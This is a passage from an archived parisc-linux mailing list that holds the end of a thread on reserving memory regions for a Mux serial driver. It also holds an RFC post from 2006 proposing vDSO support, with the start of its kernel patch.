mio_region.flags =3D IORESOURCE_MEM;<br>&gt; +&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;mmio_region.start =3D dev-&gt;hpa.start + MUX_OFFSET;<br=
>&gt; +&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mmio_region.end =3D =
dev-&gt;hpa.start

 + MUX_OFFSET + (ports * MUX_LINE_OFFSET) - 1;<br>&gt; +&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;insert_resource(&amp;iomem_resource, &amp;mmio=
_region);<br><br>If you want to go this way, you want IORESOURCE_BUSY on th=
e flags, but<br>you don't need to do that.&nbsp;&nbsp;Just:
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;request_mem_region(=
dev-&gt;hpa.start + MUX_OFFSET,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;ports * MUX_LINE_OFFSET, &quot;Mux&quot;);</blockquote><div><br>I changed=
 the Mux to use this, but it did not work as expected:
<br><br>Here are the relevant lines from the boot messages:<br><br>Enabling=
 regular chassis codes support v0.05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>CPU(s): 1 x PA7100LC (=
PCX-L) at 64.000000 MHz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<br>Setting cache flush threshold to 9e0 (1 CPUs online)&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; <br>Lasi version 0 at 0xf0100000 found.&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>LED display at f010=
c000 registered&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;=20
<br>Found GeckoBoa at 0xfffb8000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>drive=
rs/parisc/hppb.c: failed to claim HP-PB bus space (fff00000, fff7ffff)&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br><br></div><br>
Here are the relevant lines from /proc/iomem:
<br><br>f0100000-f0100fff : 60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; <br>f0107000-f0107fff : 60:6&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>f010c000-f010c000 : led_data&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;=20
<br>fff74000-fff74fff : 56:52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp; <br>fff75000-fff75fff : 56:53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; <br>fff78000-fff78fff : 56:56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;=20
<br>&nbsp; fff78800-fff78fff : Mux&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; <br>fff7c000-fff7cfff : 56:60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br><br><br>M=
y understanding of the error message indicates that since Lasi and the LEDS=
 already reserved portions of the space
<br>HP-PB wants, it caused the resource failure.&nbsp;&nbsp; This has me a =
bit confused on how the bus walk code works ... I thought the probe functio=
n on the parent device should have been called before the probe function on=
 any of the children ... so it seem the Gecko Boa should probe function sho=
uld have been called before the LASI and LED probe functions.&nbsp;&nbsp;=
=20
<br><br>Still looking into why this happens, but hints are welcome :)<br><b=
r><br><blockquote class=3D"gmail_quote" style=3D"border-left: 1px solid rgb=
(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">You also ne=
ed to unregister your region here:
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;release_mem_region(=
dev-&gt;hpa.start + MUX_OFFSET,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;ports * MUX_LINE_OFFSET);
</blockquote><div><br>Thanks for the reminder.&nbsp; I had to re-work this =
a bit since we didn't have the dev and ports variable in this function.&nbs=
p; I am<br>working on expanding this to handle multiple Mux cards as well.<=
br><br>
<br>Thanks for your feedback,<br><br>&nbsp;- Ryan<br></div></div>

------=_Part_96863_596061.1161537657460--

--===============1421529437==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1421529437==--



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 1001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] vdso for parisc-linux
Date: Sun, 29 Oct 2006 20:49:14 +0800
Lines: 1618
Approved: news@gmane.org
Message-ID: <4544A34A.6080700@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------080200030008040309060204"
X-Trace: ger.gmane.org 1416624201 21453 80.91.229.3 (22 Nov 2014 02:43:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:21 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:37:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 30 Oct 2006 16:37:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93F737D66C;
	Mon, 30 Oct 2006 08:37:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22883-01; Mon, 30 Oct 2006 08:37:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED1237D8E4;
	Mon, 30 Oct 2006 08:36:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74A0A7D811
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 05:49:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01145-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 05:49:28 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id C32267D80E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 05:49:17 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50) id 1GeA68-0005Mj-3j
	for parisc-linux@lists.parisc-linux.org; Sun, 29 Oct 2006 20:49:08 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZGZzLYxPZDI4DLHGdWY2LbVxemhmYwFU
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24047

This is a multi-part message in MIME format.
--------------080200030008040309060204
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

At kyle's urging, i've started an initial implementation of vdso support 
  for parisc-linux. I've attached what I have so far for some initial 
comments. This is primarily based on the ppc vdso infrastructure.

Some things to consider:
1) The vdso object need to be mapped to userspace apps at some "default" 
location. In fact the kernel will look for an available vma using 
get_unmapped_area(). Right now I've arbitrarily picked 0x8000'0000. This 
should be reviewed.... one idea is to just map them at at the same place 
that shared libs are mapped (near 0x4000'0000). The bigger concern is 
whether we should make the mapping with MAP_SHARED so that the shared 
area is mapped congruent in all userspace apps that use the vdso. ppc 
doesn't do this.

2) our mmu_context_t used to be a single int that stores the space id of 
the current process. This has been extended into a struct that stores 
the space id and the vdso base address

3) 64-bit vdso does not work yet. Right now I am seeing binutils errors 
if i try to build a 64-bit vdso. For now this support is disabled -- 
it's not like we have 64-bit userspace anyway.

4) I haven't hooked up all the actual vdso functions yet, but with this 
patch userspace can see the functions exposed from the kernel, we can 
use gdb to put breakpoints in the vdso, etc.

5) We need to figure out which functions we want to expose. Several 
other archs expose gettimeofday and clock_get_time via vdso. For us, 
atomic ops are also prime candidates. Several archs also use the vdso to 
provide a cleaner signal trampoline interface. The latter mostly 
requires somebody to write up all the proper cfi instructions into 
sigtramp.S

As part of testing this, I also noticed that our gas does not support 
cfi directives that were added to binutils some time ago. I've submitted 
a patch for this.

glibc will need some work to get this to work. As a first step we need a 
dl-sysdep.h that defines:
  #define NEED_DL_SYSINFO_DSO     1

If you use upstream glibc this is already enabled for all targets, but 
debian glibc will need this added if you want to test.

Anyway, please let me know if you have any comments.

randolph

--------------080200030008040309060204
Content-Type: text/x-patch;
 name="vdso.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="vdso.diff"

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 9b7e424..b6ff54e 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -31,6 +31,16 @@ CROSS_COMPILE	:= hppa-linux-
 endif
 endif
 
+# Set default 32 bits cross compilers for vdso and boot wrapper
+CROSS32_COMPILE ?=
+
+CROSS32CC		:= $(CROSS32_COMPILE)gcc
+CROSS32AS		:= $(CROSS32_COMPILE)as
+CROSS32LD		:= $(CROSS32_COMPILE)ld
+CROSS32AR		:= $(CROSS32_COMPILE)ar
+CROSS32OBJCOPY		:= $(CROSS32_COMPILE)objcopy
+export CROSS32CC CROSS32AS CROSS32LD CROSS32AR CROSS32OBJCOPY
+
 FINAL_LD=$(CROSS_COMPILE)ld --warn-common --warn-section-align 
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 27827bc..db84c0d 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -12,7 +12,7 @@ obj-y	     	:= cache.o pacache.o setup.o
 		   ptrace.o hardware.o inventory.o drivers.o semaphore.o \
 		   signal.o hpmc.o real2.o parisc_ksyms.o unaligned.o \
 		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o \
-		   topology.o
+		   topology.o vdso.o vdso32/
 
 obj-$(CONFIG_SMP)	+= smp.o
 obj-$(CONFIG_PA11)	+= pci-dma.o
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index c11a5bc..5effa4b 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -32,12 +32,15 @@ #include <linux/sched.h>
 #include <linux/thread_info.h>
 #include <linux/ptrace.h>
 #include <linux/hardirq.h>
+#include <linux/time.h>
 
 #include <asm/pgtable.h>
 #include <asm/ptrace.h>
 #include <asm/processor.h>
 #include <asm/pdc.h>
 #include <asm/uaccess.h>
+#include <asm/vdso_datapage.h>
+#include <asm/compat.h>
 
 #define DEFINE(sym, val) \
 	asm volatile("\n->" #sym " %0 " #val : : "i" (val))
@@ -297,5 +300,29 @@ int main(void)
 	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
 	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
 	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
+
+	/* timeval/timezone offsets for use by vdso */
+	DEFINE(TZONE_TZ_MINWEST, offsetof(struct timezone, tz_minuteswest));
+	DEFINE(TZONE_TZ_DSTTIME, offsetof(struct timezone, tz_dsttime));
+
+	/* vdso datapage offsets */
+	DEFINE(VDSO_SYSCALL_MAP32, offsetof(struct vdso_data, syscall_map_32));
+#ifdef CONFIG_64BIT
+	DEFINE(VDSO_SYSCALL_MAP64, offsetof(struct vdso_data, syscall_map_64));
+#endif
+	DEFINE(VDSO_TZ_MINUTEWEST, offsetof(struct vdso_data, tz_minuteswest));
+	DEFINE(VDSO_TZ_DSTTIME, offsetof(struct vdso_data, tz_dsttime));
+	DEFINE(VDSO_WTOM_CLOCK_SEC, offsetof(struct vdso_data, wtom_clock_sec));
+	DEFINE(VDSO_WTOM_CLOCK_NSEC, offsetof(struct vdso_data, wtom_clock_nsec));
+
+#ifdef CONFIG_64BIT
+	DEFINE(TVAL64_TV_SEC, offsetof(struct timeval, tv_sec));
+	DEFINE(TVAL64_TV_USEC, offsetof(struct timeval, tv_usec));
+	DEFINE(TVAL32_TV_SEC, offsetof(struct compat_timeval, tv_sec));
+	DEFINE(TVAL32_TV_USEC, offsetof(struct compat_timeval, tv_usec));
+#else
+	DEFINE(TVAL32_TV_SEC, offsetof(struct timeval, tv_sec));
+	DEFINE(TVAL32_TV_USEC, offsetof(struct timeval, tv_usec));
+#endif
 	return 0;
 }
diff --git a/arch/parisc/kernel/vdso.c b/arch/parisc/kernel/vdso.c
new file mode 100644
index 0000000..d419f52
--- /dev/null
+++ b/arch/parisc/kernel/vdso.c
@@ -0,0 +1,617 @@
+/*
+ *  Copyright (c) 2006 Randolph Chung <tausq@debian.org>
+ *
+ *  Based on ppc64 version by Benjamin Herrenschmidt
+ *  <benh@kernel.crashing.org>
+ *
+ *  This program is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU General Public License
+ *  as published by the Free Software Foundation; either version
+ *  2 of the License, or (at your option) any later version.
+ */
+
+#include <linux/module.h>
+#include <linux/errno.h>
+#include <linux/sched.h>
+#include <linux/kernel.h>
+#include <linux/mm.h>
+#include <linux/smp.h>
+#include <linux/smp_lock.h>
+#include <linux/stddef.h>
+#include <linux/unistd.h>
+#include <linux/slab.h>
+#include <linux/user.h>
+#include <linux/elf.h>
+#include <linux/security.h>
+#include <linux/bootmem.h>
+
+#include <asm/pgtable.h>
+#include <asm/system.h>
+#include <asm/processor.h>
+#include <asm/sections.h>
+#include <asm/mmu.h>
+#include <asm/mmu_context.h>
+#include <asm/vdso.h>
+#include <asm/vdso_datapage.h>
+
+#undef DEBUG
+
+#ifdef DEBUG
+#define DBG(fmt...) printk(fmt)
+#else
+#define DBG(fmt...)
+#endif
+
+/* Max supported size for symbol names */
+#define MAX_SYMNAME	64
+
+extern char vdso32_start, vdso32_end;
+static void *vdso32_kbase = &vdso32_start;
+unsigned int vdso32_pages;
+unsigned long vdso32_sigtramp;
+unsigned long vdso32_rt_sigtramp;
+
+#ifdef CONFIG_64BIT_BROKEN
+extern char vdso64_start, vdso64_end;
+static void *vdso64_kbase = &vdso64_start;
+unsigned int vdso64_pages;
+unsigned long vdso64_rt_sigtramp;
+#endif /* CONFIG_64BIT_BROKEN */
+
+static union {
+	struct vdso_data	data;
+	u8			page[PAGE_SIZE];
+} vdso_data_store __attribute__((__section__(".data.page_aligned")));
+struct vdso_data *vdso_data = &vdso_data_store.data;
+
+/*
+ * Some infos carried around for each of them during parsing at
+ * boot time.
+ */
+struct lib32_elfinfo
+{
+	Elf32_Ehdr	*hdr;		/* ptr to ELF */
+	Elf32_Sym	*dynsym;	/* ptr to .dynsym section */
+	unsigned long	dynsymsize;	/* size of .dynsym section */
+	char		*dynstr;	/* ptr to .dynstr section */
+	unsigned long	text;		/* offset of .text section in .so */
+};
+
+struct lib64_elfinfo
+{
+	Elf64_Ehdr	*hdr;
+	Elf64_Sym	*dynsym;
+	unsigned long	dynsymsize;
+	char		*dynstr;
+	unsigned long	text;
+};
+
+
+#ifdef __DEBUG
+static void dump_one_vdso_page(struct page *pg, struct page *upg)
+{
+	printk("kpg: %p (c:%d,f:%08lx)", __va(page_to_pfn(pg) << PAGE_SHIFT),
+	       page_count(pg),
+	       pg->flags);
+	if (upg/* && pg != upg*/) {
+		printk(" upg: %p (c:%d,f:%08lx)", __va(page_to_pfn(upg)
+						       << PAGE_SHIFT),
+		       page_count(upg),
+		       upg->flags);
+	}
+	printk("\n");
+}
+
+static void dump_vdso_pages(struct vm_area_struct * vma)
+{
+	int i;
+
+	if (!vma || test_thread_flag(TIF_32BIT)) {
+		printk("vDSO32 @ %016lx:\n", (unsigned long)vdso32_kbase);
+		for (i=0; i<vdso32_pages; i++) {
+			struct page *pg = virt_to_page(vdso32_kbase +
+						       i*PAGE_SIZE);
+			struct page *upg = (vma && vma->vm_mm) ?
+				follow_page(vma, vma->vm_start + i*PAGE_SIZE, 0)
+				: NULL;
+			dump_one_vdso_page(pg, upg);
+		}
+	}
+	if (!vma || !test_thread_flag(TIF_32BIT)) {
+		printk("vDSO64 @ %016lx:\n", (unsigned long)vdso64_kbase);
+		for (i=0; i<vdso64_pages; i++) {
+			struct page *pg = virt_to_page(vdso64_kbase +
+						       i*PAGE_SIZE);
+			struct page *upg = (vma && vma->vm_mm) ?
+				follow_page(vma, vma->vm_start + i*PAGE_SIZE, 0)
+				: NULL;
+			dump_one_vdso_page(pg, upg);
+		}
+	}
+}
+#endif /* DEBUG */
+
+/*
+ * Keep a dummy vma_close for now, it will prevent VMA merging.
+ */
+static void vdso_vma_close(struct vm_area_struct * vma)
+{
+}
+
+/*
+ * Our nopage() function, maps in the actual vDSO kernel pages, they will
+ * be mapped read-only by do_no_page(), and eventually COW'ed, either
+ * right away for an initial write access, or by do_wp_page().
+ */
+static struct page * vdso_vma_nopage(struct vm_area_struct * vma,
+				     unsigned long address, int *type)
+{
+	unsigned long offset = address - vma->vm_start;
+	struct page *pg;
+#ifdef CONFIG_64BIT_BROKEN
+	// TODO: review
+	void *vbase = (vma->vm_mm->task_size > DEFAULT_TASK_SIZE32) ?
+		vdso64_kbase : vdso32_kbase;
+#else
+	void *vbase = vdso32_kbase;
+#endif
+
